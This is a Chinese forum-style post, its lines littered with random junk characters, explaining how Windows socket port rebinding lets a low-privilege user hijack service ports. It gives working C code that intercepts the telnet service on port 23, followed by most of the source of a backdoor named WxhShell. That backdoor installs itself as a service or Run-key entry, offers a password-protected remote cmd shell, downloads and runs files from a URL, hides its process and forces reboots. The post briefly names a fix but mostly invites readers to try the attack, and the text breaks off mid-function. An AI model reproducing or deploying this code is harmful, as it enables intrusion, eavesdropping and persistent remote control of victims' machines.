在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^awl-CG s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
rsIjpPa `=.{i}V saddr.sin_family = AF_INET;
`aC#s3[ 4iKT saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\=QG6&_ aB$Y5 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2.|Y *z(.D\{% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
3Y=S^*ztd FNZnz7 这意味着什么?意味着可以进行如下的攻击:
Wima=xYe\5 "BTA" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
6I>W(_T u2DsjaL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
MF& +4$q F'Wef11Yz 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
{}.c.W+ Z{e5 OJ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'SuYNA) 1sgoT f% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
J${wU@_% v7g-M 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
QN0Ik 2L #$8tBo 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
y(q1~73s > sUk6Z~ #include
al^ yCoB #include
_)p% #include
94n,13 #include
jdhhvoQ DWORD WINAPI ClientThread(LPVOID lpParam);
/ ]I] int main()
Z'u`)jR {
rMI:zFS WORD wVersionRequested;
GSMP)8W DWORD ret;
LNr2YRpyz WSADATA wsaData;
nc`[f y|} BOOL val;
`OBDx ^6F SOCKADDR_IN saddr;
$#0%gs/x SOCKADDR_IN scaddr;
=LuA[g int err;
'&UX'Dd~Q SOCKET s;
6~}=? sX4 SOCKET sc;
&<L+;k~P% int caddsize;
~
Iv[ HANDLE mt;
u[cbRn,W DWORD tid;
a1s=t_wT wVersionRequested = MAKEWORD( 2, 2 );
ne;,TJ\ err = WSAStartup( wVersionRequested, &wsaData );
&oAuh?kTq if ( err != 0 ) {
jtd{=[STU printf("error!WSAStartup failed!\n");
\n /_Px return -1;
8 2_3|T }
PI }A')Nq. saddr.sin_family = AF_INET;
^D\#*pIO ~(FyGB} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
]0\8g=KK SA}]ZK P saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
MF=@PE][ saddr.sin_port = htons(23);
$rf5\_G,96 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
==c\* o {
l'$AmuGj printf("error!socket failed!\n");
Bm^vKzp return -1;
{y :/9 }
7|H !( a' val = TRUE;
FCOSgEU //SO_REUSEADDR选项就是可以实现端口重绑定的
"4I`.$F%O( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
WM9QC59 {
eoow]me printf("error!setsockopt failed!\n");
i 1 return -1;
&L+u]&!6C }
+8v!vuO' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
j_Dx4*vg //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
(2<0kqj% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
,u!c|4 J#bEAK^L,l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
i9+V<'h {
YMJ?t" ret=GetLastError();
I2D<~xP~2+ printf("error!bind failed!\n");
'|Cs!Zl return -1;
0gxbo }
?e yo2:-$ listen(s,2);
ij%\ld9kd while(1)
MB:E/ {
0hCJovSG% caddsize = sizeof(scaddr);
`y
m^0x8 //接受连接请求
o
D^], sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ba|~B8rII[ if(sc!=INVALID_SOCKET)
_G[5S-0 [ {
ck-wMd mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
O'o` if(mt==NULL)
QIGMP=!j {
;clF\K> printf("Thread Creat Failed!\n");
]yA|
m3^2 break;
(l9U7^S"{K }
c7S<ex, }
/ [:@j+n\ CloseHandle(mt);
|f.=Y~aY }
Trm)7B* closesocket(s);
?GX5Pvg WSACleanup();
|Q.t]TR'P return 0;
w#]%I+ }
6]7iiQz"H DWORD WINAPI ClientThread(LPVOID lpParam)
.#Z}}W# {
^D"}OQoh SOCKET ss = (SOCKET)lpParam;
;,4 Z5+ SOCKET sc;
Rm"lRkY4I[ unsigned char buf[4096];
%0. o(U SOCKADDR_IN saddr;
Hz!+g'R!Gs long num;
8qo{% DWORD val;
/6b(w=pk DWORD ret;
JYs*1< //如果是隐藏端口应用的话,可以在此处加一些判断
8gr&{-5 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
5fM/y3QPsZ saddr.sin_family = AF_INET;
X 1^f0\k saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
l8n#sGA % saddr.sin_port = htons(23);
]g!k'@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
QV7K~qi {
R CnN+b:c printf("error!socket failed!\n");
,RDxu7iT return -1;
E~jNUTq }
"\]kK@, val = 100;
`)!)}PXl if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Hk(w\
{
H>a3\M ret = GetLastError();
VTy!<I return -1;
3Ud&B }
pu,/GBG_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
uXyNj2(d. {
'9]%#^[Q ret = GetLastError();
wlmi&kq return -1;
u3w `(3{< }
:/K 'P`JaL if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Ds$FO}KD{ {
,H[-.}OO printf("error!socket connect failed!\n");
78Nli/U closesocket(sc);
VNx}ADXu ] closesocket(ss);
e*:[#LJ]C return -1;
E&jngxlN }
mRxL%! while(1)
w[UPoG #Uh {
qXCl6Yo8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.9S //如果是嗅探内容的话,可以再此处进行内容分析和记录
s=u0M;A0Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
S\MD]>4 num = recv(ss,buf,4096,0);
O"nY4 if(num>0)
LX!16a@SxA send(sc,buf,num,0);
\bZbz/+D else if(num==0)
M
+~guTh break;
\$<kJ||lS num = recv(sc,buf,4096,0);
3JWHyo if(num>0)
L5]*ZCDv send(ss,buf,num,0);
6P3ezl@#; else if(num==0)
u'<Y#bsR#/ break;
9v_gR52vh }
x.<^L] " closesocket(ss);
0[x?Q[~S_0 closesocket(sc);
8HxB\ !0F? return 0 ;
&H-39;?u }
I7hPE7V+1 M%1-fd j+88J ==========================================================
)Tpc8Hr /Vg
R[ 下边附上一个代码,,WXhSHELL
mv)M9c,` N|WnUlf]: ==========================================================
x{&0:|bCs6 P)tX U #include "stdafx.h"
U"<Z^) Bz }Kdyur #include <stdio.h>
hSQP
'6 #include <string.h>
|^^;v| #include <windows.h>
u%JM0180 #include <winsock2.h>
XCDHd
?Ld #include <winsvc.h>
plv"/K JM #include <urlmon.h>
`[C8iF*Y" AFc#2wn #pragma comment (lib, "Ws2_32.lib")
cs8bRXjHa #pragma comment (lib, "urlmon.lib")
L/c$p`- }$Q+x' #define MAX_USER 100 // 最大客户端连接数
:R"k=l1 #define BUF_SOCK 200 // sock buffer
eN,s#/ip] #define KEY_BUFF 255 // 输入 buffer
A!ba_14 Fx/9T2%= #define REBOOT 0 // 重启
>Czcs=(L.k #define SHUTDOWN 1 // 关机
N_=7 F
C2oP, #define DEF_PORT 5000 // 监听端口
J<H$B +;qR m Wsegq4 #define REG_LEN 16 // 注册表键长度
1x V~EX #define SVC_LEN 80 // NT服务名长度
B@63=a*kG :2
n5;fp // 从dll定义API
[64K?l0& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
C;OU2,c,T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
tv,^ Q} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
YL;ZZ2A typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
@lc1Ipfk" X.o[=E // wxhshell配置信息
VjMd&>G struct WSCFG {
fFqK.^Tn int ws_port; // 监听端口
.]k(7F!W char ws_passstr[REG_LEN]; // 口令
%Jq(,u int ws_autoins; // 安装标记, 1=yes 0=no
q}M^i7IE char ws_regname[REG_LEN]; // 注册表键名
C'
o4Su# char ws_svcname[REG_LEN]; // 服务名
3Nsb@0 char ws_svcdisp[SVC_LEN]; // 服务显示名
Ni(D[?mZ char ws_svcdesc[SVC_LEN]; // 服务描述信息
K}1>n2P char ws_passmsg[SVC_LEN]; // 密码输入提示信息
tPDV"Md#m< int ws_downexe; // 下载执行标记, 1=yes 0=no
!Z<GUblt char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
'N,x=1R5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)tz8(S Y~,[9:SR };
XqyfeY5t RCND|X // default Wxhshell configuration
Njc3X@4= struct WSCFG wscfg={DEF_PORT,
YM1tP'4j@ "xuhuanlingzhe",
jQ4Pv` 1,
=3a`NO5! "Wxhshell",
F<Z"W}I+6 "Wxhshell",
0;!aO.l]K "WxhShell Service",
2j=3i@ "Wrsky Windows CmdShell Service",
O8[dPmW "Please Input Your Password: ",
~5:]Oux 1,
%[B &JhT "
http://www.wrsky.com/wxhshell.exe",
u8~.6]Ae "Wxhshell.exe"
"@$o'rfT };
)m\%L`+ 4T Gg`$e; // 消息定义模块
8T&m{s char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
w44{~[0d4 char *msg_ws_prompt="\n\r? for help\n\r#>";
E IsA2 f char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
pE^L Qi char *msg_ws_ext="\n\rExit.";
oHxaa>C> char *msg_ws_end="\n\rQuit.";
fdck/|`t char *msg_ws_boot="\n\rReboot...";
xPq3Sfg`A char *msg_ws_poff="\n\rShutdown...";
''?.6r char *msg_ws_down="\n\rSave to ";
#Ru+|KL %Kw5b ; char *msg_ws_err="\n\rErr!";
7V 2% char *msg_ws_ok="\n\rOK!";
6i9m!YQV =uKK{\+|Y char ExeFile[MAX_PATH];
RRV@nDf int nUser = 0;
ZZ] /9oiF% HANDLE handles[MAX_USER];
E$F)z int OsIsNt;
[\ @!~F{ YZr^;jfP SERVICE_STATUS serviceStatus;
b1\z&IdC SERVICE_STATUS_HANDLE hServiceStatusHandle;
QEQ8gfN9> Kcsje_I-M // 函数声明
/fBZRdB int Install(void);
wI#rAx7f- int Uninstall(void);
(x>5 int DownloadFile(char *sURL, SOCKET wsh);
+M-' K19 int Boot(int flag);
+ulX(u(, void HideProc(void);
L((z;y>q| int GetOsVer(void);
["Z]K'?P int Wxhshell(SOCKET wsl);
96}/;e]@ void TalkWithClient(void *cs);
`w[0q?}"` int CmdShell(SOCKET sock);
FGy7KVR int StartFromService(void);
v~L} : int StartWxhshell(LPSTR lpCmdLine);
8{4I6;e- d,8V-Dk+p VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
`axNeqM VOID WINAPI NTServiceHandler( DWORD fdwControl );
Tk|0
scjE^ MR#jI // 数据结构和表定义
[|ky~sRr SERVICE_TABLE_ENTRY DispatchTable[] =
'=\]4?S {
tN3Xn] {wscfg.ws_svcname, NTServiceMain},
iBV*GW {NULL, NULL}
qAivsYN* };
Dr7,>Yx v;JY;Uh|
// 自我安装
!yojZG MB int Install(void)
tE(x8>5A: {
` *$^rQS char svExeFile[MAX_PATH];
C]A*B HKEY key;
w{I60|C]* strcpy(svExeFile,ExeFile);
Q]{DhDz?+ 7yeZ+lD // 如果是win9x系统,修改注册表设为自启动
PM[6U# if(!OsIsNt) {
e7]IEBbX2O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S8.nM}x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
rya4sxCh RegCloseKey(key);
s^L\hr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Sn7.KYS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@#*B|lHE RegCloseKey(key);
B&-;w_K return 0;
D 67H56[ }
&fiDmUxj }
4y>G6TD^ }
a9FlzR else {
[GU!],Y qe`W~a9x // 如果是NT以上系统,安装为系统服务
hL67g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ZS^EKz~ + if (schSCManager!=0)
?uk|x!Ko] {
V
[[B~Rs SC_HANDLE schService = CreateService
v*FCE 1HI (
:bLGDEC schSCManager,
Da?0B9' wscfg.ws_svcname,
}gag?yQ.^ wscfg.ws_svcdisp,
Y($"i<rN SERVICE_ALL_ACCESS,
/e4hB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
XfViLBY(
> SERVICE_AUTO_START,
C
[=/40D SERVICE_ERROR_NORMAL,
ZSKk*<= svExeFile,
~uzu*7U NULL,
"O9uz$ NULL,
xV}|G NULL,
WVJN6YNd V NULL,
@zsr.d6Q NULL
#/\FB'zC );
U~Uxs\0: if (schService!=0)
luat1#~J {
FZjtQ{M CloseServiceHandle(schService);
k}F ;e_ CloseServiceHandle(schSCManager);
p1J%= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>'Y] C\ strcat(svExeFile,wscfg.ws_svcname);
#<yR:3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
P/M*XUG. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Bi?.G7> RegCloseKey(key);
?y]3kU return 0;
~Z.lvdA_5 }
Vi5RkUY] }
8$?a?7,>| CloseServiceHandle(schSCManager);
"=P@x|I }
N{|N_}X`Y }
He">kJx VdVca1Z return 1;
1G{$ B^
f }
j%[|XfM QL_bg:hs // 自我卸载
Xa9G;J$ int Uninstall(void)
+~w '?vNc {
4;w_o9o HKEY key;
L_ 8C=MS ]E[Mv}
= if(!OsIsNt) {
gmJJ(}HVz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3o"~_l$z RegDeleteValue(key,wscfg.ws_regname);
R%7k<1d'` RegCloseKey(key);
-qid. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
rIS \#j RegDeleteValue(key,wscfg.ws_regname);
~yB[}BPf RegCloseKey(key);
pZjyzH{~ return 0;
,((5|MbM/ }
1xT^ ,e6 }
:t\PYDp1 }
J]fjg%C2m else {
O2 3f\pm& I#uJdV|x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ji%T|KR_ if (schSCManager!=0)
&qrH {
~q-|cl< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
W9a H]9b if (schService!=0)
&W".fRH_O {
~[ve?51 if(DeleteService(schService)!=0) {
cJi5\<b CloseServiceHandle(schService);
//V?rs CloseServiceHandle(schSCManager);
{U-VInu return 0;
WlWBYnphZs }
l$zo3[ CloseServiceHandle(schService);
LR-op?W }
33"{"2==` CloseServiceHandle(schSCManager);
;rd!kFd#bq }
A/BL{ U} }
|W\CV0L2 Vj~R6 return 1;
}tc,3>/ }
pX6OhwkTK auL?Hb // 从指定url下载文件
=0x[Sa$&, int DownloadFile(char *sURL, SOCKET wsh)
)0qXZgs {
VPtA
%1 HRESULT hr;
xJc'tT6@ char seps[]= "/";
dIIsO{Zqv char *token;
"F)7!e char *file;
TxPP{6t char myURL[MAX_PATH];
4s0>QD$J char myFILE[MAX_PATH];
o7]h;Zg5r w;>]L.n strcpy(myURL,sURL);
Dve5Ml- token=strtok(myURL,seps);
#t3ju^ |? while(token!=NULL)
.\*\bvyCw {
f8'&(- file=token;
9I^_n+E token=strtok(NULL,seps);
gy9!T(z }
pS0-<-\R hvZW~
=75 GetCurrentDirectory(MAX_PATH,myFILE);
{_ewc/~ strcat(myFILE, "\\");
Q$Vxm+ strcat(myFILE, file);
eT:%i"C send(wsh,myFILE,strlen(myFILE),0);
Gh42qar` send(wsh,"...",3,0);
1c?,= ;> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
:q^g+Bu= if(hr==S_OK)
>{npg2 return 0;
NTgk0cq else
]!h%Jlu return 1;
{l_R0 4/Ok/I }
%# J8cB RQ}x7</{ // 系统电源模块
;) (qRZd6 int Boot(int flag)
AVyo)=& {
ROQk^ HANDLE hToken;
$ZwsTV]x TOKEN_PRIVILEGES tkp;
y(6&90cr KC8A22 if(OsIsNt) {
L=zeFn OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
bF?EuL LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
AB}Qd\ tkp.PrivilegeCount = 1;
X+bLLW>& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
6Y\9h)1Jo AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Njz,y}\ if(flag==REBOOT) {
6q6&N'We if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
`=%[ return 0;
'<6Gz7O }
'2:Ily,S@ else {
}6m5MH$7q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
>nvreis return 0;
$0iz;!w }
URJ" }
"wexG]R=5 else {
|K/#2y~ if(flag==REBOOT) {
P|_?{1eO2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
;?h#',(p return 0;
cnCUvD]' }
-"!V&M else {
fgTvwOSk if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
|w /txn8G| return 0;
*~2jP;$ }
iT9cw`A^% }
=eTI@pN` +`.%aJIi9 return 1;
`C_#EU- }
98o;_tU' G?>~w[#mQR // win9x进程隐藏模块
}wj*^>* void HideProc(void)
)k29mqa` {
kD MS7y<s ( 9dV%#G\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
wyAqrf if ( hKernel != NULL )
^/Gjk {
Mk,8v],-Tj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
kDO6:sjR7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
fbo64$!hZ FreeLibrary(hKernel);
C'7W50b }
:qgdn,Me 6TPcG d Z return;
?R"5 .3 }
,<pql!B- Q+dBSKSK // 获取操作系统版本
bs%]xf
~D; int GetOsVer(void)
(IJf2 {
[h8F) OSVERSIONINFO winfo;
!!Mp;h'}- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#8nF8J<4 GetVersionEx(&winfo);
9OT2yCT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
&\Cvrxa return 1;
EB@!?=0x else
a-i#?hld return 0;
Z4hP }
HzH_5kVW fVR ~PG0 // 客户端句柄模块
hTVN`9h7 int Wxhshell(SOCKET wsl)
>SfC '* 1 {
j]
M)i:n SOCKET wsh;
~R!(%j ] struct sockaddr_in client;
O aF+Z@s DWORD myID;
0SvPyf%AC >2$Ehw:K^ while(nUser<MAX_USER)
[HQ17 {
9n8;eE08 int nSize=sizeof(client);
PMXnupt wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Nmi#$K[x if(wsh==INVALID_SOCKET) return 1;
}1;Ie0l=_e #)cRD#0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Im6ymaf9 if(handles[nUser]==0)
HT1bsY
0t closesocket(wsh);
yFJ(b%7 else
:*c@6;2@ nUser++;
\O7,CxD2 }
2(`2 f WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
@J"
} ~Y Ux zwgVT return 0;
]e?*7T] }
r OB\u|Pg nV']^3b // 关闭 socket
a[9;Okm# void CloseIt(SOCKET wsh)
Wuc,Cjm9(! {
]*zF#Voc closesocket(wsh);
7M*+!al9 nUser--;
YWq[)F@0G ExitThread(0);
`4;<\VYCr }
jX+LI BLMcvK\9 // 客户端请求句柄
BKvF,f/g void TalkWithClient(void *cs)
o/=K:5 {
$I1p"6 fCEd
:Kr SOCKET wsh=(SOCKET)cs;
|l)Oy#W char pwd[SVC_LEN];
TTy1a:V char cmd[KEY_BUFF];
z$;%SYI char chr[1];
lD C74g int i,j;
w2$HP/90j ?kS5=&< while (nUser < MAX_USER) {
hb?
|fi _MMz x2} if(wscfg.ws_passstr) {
YT&_{nL#\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$V5Ol6@2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kN>d5q9b%X //ZeroMemory(pwd,KEY_BUFF);
7Jc=`Zm' i=0;
vO4
&ZQ>6 while(i<SVC_LEN) {
kO2im+y WQ"ZQ // 设置超时
#NL1N_B fd_set FdRead;
zROyG struct timeval TimeOut;
D-,sF8{ i FD_ZERO(&FdRead);
{bc<0 FD_SET(wsh,&FdRead);
.v;2Q7X TimeOut.tv_sec=8;
h)A+5^:^ TimeOut.tv_usec=0;
A]=?fyPh{' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
|ZRl.C/e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
hj4A&`2 9lA YCsX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
?hDEFW9&^x pwd
=chr[0]; Ud{-H_m+
if(chr[0]==0xd || chr[0]==0xa) { luC',QJB
pwd=0; 8,kbGlSD
break; #+_OyZ*
} vZ|-VvG
i++; %FyB\IQ
} f#X`e'1
mX |AptND
// 如果是非法用户,关闭 socket ]7xAL7x
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wz6e^ g
} [N7[%iQ%
AvV.faa
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p=405~
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WtlIrdc
C<n.C*o
while(1) { Ho"FB|e
9"V27"s
ZeroMemory(cmd,KEY_BUFF); #c!(97l6o
KCCS7l/
// 自动支持客户端 telnet标准 D=dY4WwG
j=0; $X\BO&
while(j<KEY_BUFF) { Ke'bH
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C2Y&qX,
cmd[j]=chr[0]; Wm3H6o*
if(chr[0]==0xa || chr[0]==0xd) { {z.}u5N
cmd[j]=0; 46e;UUf!d
break; j|? bva\
} \sRRLDj%
j++; ;#Mq=Fr-SG
} q5OW1%
EG9S?
$
// 下载文件 c\;}ov+
if(strstr(cmd,"http://")) { C %EQ9Iq6r
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;j/ur\37
if(DownloadFile(cmd,wsh)) J v)]7u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (.n"
J2qj
else _$=xa6YA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wkd591d*
} Fg,[=CqB[
else { 5<#H=A~(
?W(wtp,o
switch(cmd[0]) { wh~~g
qi9
m?M(79u[
// 帮助 VVe>}
case '?': { F;~ #\X
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k)4|%
break; *dK A/.g
} j,G/[V
// 安装 YJ75dXc&&
case 'i': { ueWG/`ig
if(Install()) %[p[F~Z^Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c6lEWC:
else kbMIMZC/G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gE$dz#t.
break; g#70Sg*d
} 47icy-@kg
// 卸载 0kiW629o
case 'r': { Rw.
Uz&
if(Uninstall()) L)w& f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2"i<--Y
else a7d782~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }RoM N$r
break; WQK#&r*
} ;^
/9sLW?#
// 显示 wxhshell 所在路径 x]{h$yI
case 'p': { ]gmf%g'C
char svExeFile[MAX_PATH]; ?Rl*5GRW
strcpy(svExeFile,"\n\r"); iSsy_ |
strcat(svExeFile,ExeFile); 3cfkJ|fuwe
send(wsh,svExeFile,strlen(svExeFile),0); O%+:fJz6wI
break; m&$H?yXW>
} Z-vzq;
// 重启 ,,G0}N@7s
case 'b': { U2Ur N?T
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )FHaJ*&d
if(Boot(REBOOT)) _6(zG.Fg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {+r?g J
else { \|T0@V
closesocket(wsh); D(r|sw
ExitThread(0); <T7y85
} N.isvDk%
break; I;xTyhUd
} %3C,jg
// 关机 >c1mwZS;
case 'd': { 6l> G>)
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4wBCs0NIm
if(Boot(SHUTDOWN)) `9wz:s QtP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MWB uMF
else { }$UuYO/i
closesocket(wsh); <4!w2vxG
ExitThread(0); @FbzKHdV/
} aG"UV\
break; m|-O/6~
} %ZQl.''ISa
// 获取shell gbInSp`4
case 's': { Qe4
CmdShell(wsh); RCmPZ
closesocket(wsh); wZOO#&X#r
ExitThread(0); 10 p+e_@
break; |]I?^:I
} Ik}*7D
// 退出 O=-|b kO
case 'x': { Mv9s
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H?aB8=)
CloseIt(wsh); ;bA9(:?
break; I{RktO;1
} fB:M'A'
// 离开 %WO;WxG8^
case 'q': { YqDw*S{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2>H\arEstR
closesocket(wsh); 1fC|_V(0
WSACleanup(); ZU:gNO0
exit(1); hwXp=not(
break; R
UX
}
&bL1G(}
} "@f`O
} DL~LSh
4$|G$h
// 提示信息 @*_K#3
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
g`Rs;
} Xpa;F$VI
} ,O-lDzcw
AOfQqGf
return; da-3hM!u+
} k?";$C}#
-(59F
// shell模块句柄 j"NqNv
int CmdShell(SOCKET sock) fx}R7GN2
{ =_wgKXBFa
STARTUPINFO si; ioviJ7N%
O
ZeroMemory(&si,sizeof(si)); A2vOI8
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d>aZpJ[.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v\HGL56T
PROCESS_INFORMATION ProcessInfo; a1}W2;W0]g
char cmdline[]="cmd"; Z>D7C?v:(
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :7`,dyIqT
return 0; p,4z;.s$
} @.g4?c
SOUA,4
// 自身启动模式 d+IPa<N
int StartFromService(void) E@@quK
{ R4v=i)A~Z
typedef struct 5fLCmLM`
{ '@W72ML.
DWORD ExitStatus; U}5uy9A
DWORD PebBaseAddress; JZ c5U}i
DWORD AffinityMask; M.128J+xfS
DWORD BasePriority; -S|L+">=Z
ULONG UniqueProcessId; ,{oANqP
